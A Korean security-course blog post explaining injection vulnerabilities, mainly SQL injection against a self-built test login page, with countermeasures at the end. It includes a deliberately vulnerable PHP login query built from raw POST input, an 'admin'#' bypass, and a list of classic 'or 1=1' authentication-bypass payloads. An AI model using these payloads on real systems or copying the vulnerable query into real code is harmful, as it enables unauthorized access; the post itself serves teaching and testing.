- 개요
웹 어플리케이션이 외부 시스템이나 자체 운영체제에 접근할 때 입력받은 인자를 그대로 전달한다.
즉, 악성코드를 원하는 시스템에 전송할 수 있으며, SQL문 구문을 삽입하여 DB 서버에 침구가 가능하다. 또한 인수에 특수문자를 삽입하여 서버 내부에 명령 전달이 가능하다.
- 공격 행태
공격자가 해당 인자로 악의적인 명령어를 사입하는 경우, 해당 외부 시스템은 웹 어플리케이션으로 인해 입력받은 명령어를 실행하게 된다.
취약한 웹 어플리케이션을 통해 악성 코드를 전송하여 시스템 콜을 통한 OS 호출, 쉘 명령어를 통한 외부 프로그램 사용, SQL 구문을 통한 백엔드 데이터베이스 호출 등을 수행한다.
mysql> select * from user_db;
+----------+----------------------------------+---------------------+
| id | pw | authtime |
+----------+----------------------------------+---------------------+
| haha | 925cc8d2953eba624b2bfedf91a91613 | 2017-06-07 14:37:35 |
| hihi | e9f5713dec55d727bb35392cec6190ce | 2017-06-07 15:28:49 |
| Imp3rio | 3b9e314227e9a1409b922049a088e8f0 | 2017-06-07 17:07:04 |
| test | 098f6bcd4621d373cade4e832627b4f6 | 2017-06-07 21:52:33 |
| admin | c62d929e7b7e7b6165923a5dfc60cb56 | 2017-06-08 20:51:24 |
| firewall | 7ef3645806013c9c2f9350f0f6d4d9fb | 2017-06-08 20:51:33 |
| 1341231 | 07a0dd7a3fd6670c9ef71de870c3c065 | 2017-06-08 20:51:43 |
+----------+----------------------------------+---------------------+
elseif($_SERVER['QUERY_STRING'] == "login") {
$_POST['pw'] = md5($_POST['pw']);
include "./config/config.php";
$db=dbconnect();
$query = "select id from user_db where id = '{$_POST[id]}' and pw = '{$_POST[pw]}'";
$result = mysqli_fetch_array(mysqli_query($db, $query));
if($result['id']) {
$_SESSION['site_id'] = $result['id'];
exit("<script>location.href='./main.php';</script>");
}
else exit("<script>alert('login fail'); history.go(-1);</script>");
}
위와 같이 haha 라는 계정으로 로그인이 된다.
haha는 database에서 가장 처음에 입력된 계정이다. 즉, 데이터베이스에서 첫번째 id로 로그인됨을 알 수 있다.
admin으로 로그인하기 위해 다음과 같은 SQL Injection 코드를 넣어보자.
admin'#
위와 같이 admin으로 로그인이 된 것을 확인할 수 있다.
- 취약점 점검 방법
✓ SQL Injection 취약점을 이용하여 패스워드 없이 로그인이 가능한지 확인한다.
✓ 인수에 특수문자를 삽입하여 서버 내부에 명령 전달이 가능한지 확인한다.
✓ 외부 스크립트를 서버 내부에 삽입이 가능한지 확인한다.
✓ 시스템 명령어 삽입이 가능한지 확인한다.
✓ 관리자 ID와 패스워드에 아래 문자열을 입력하여 결과를 확인한다.
'or 1=1; --
' ' or 1=1--
"or 1=1 --
or 1=1--
'or 'a'='a
" or "a"="a
')or('a'='a
sql' or 1=1--
sql" or 1=1--
+ or 1=1--
';--
- 대응 조치
✓ 가능한 외부 인터프리터를 사용하지 않는다.
✓ 백엔드 데이터베이스 호출할 경우, 입력 값을 주의 깊게 검증한다.
✓ 데이터베이스와 연동을 하는 스크립트의 모든 파라미터들을 점검한다.
✓ 사용자 입력 시 특수문자( ', ", /, \, ;, :, -, + 등 )가 포함되어 있는지 검사한다.
✓ 웹 어플리케이션이 사용하는 데이터베이스 사용자의 권한을 제한한다.
'NCS보안3기 > 웹 해킹' 카테고리의 다른 글
[Web Hacking] XSS( Cross Site Script ) 공격 (0) | 2017.06.08 |
---|---|
[Web Hacking] 테스트 서버 구축 (0) | 2017.06.07 |
[Web Hacking] 서버 구축을 위한 사전 준비 (0) | 2017.06.07 |
[Web Hacking] 웹 해킹의 기초 (0) | 2017.06.07 |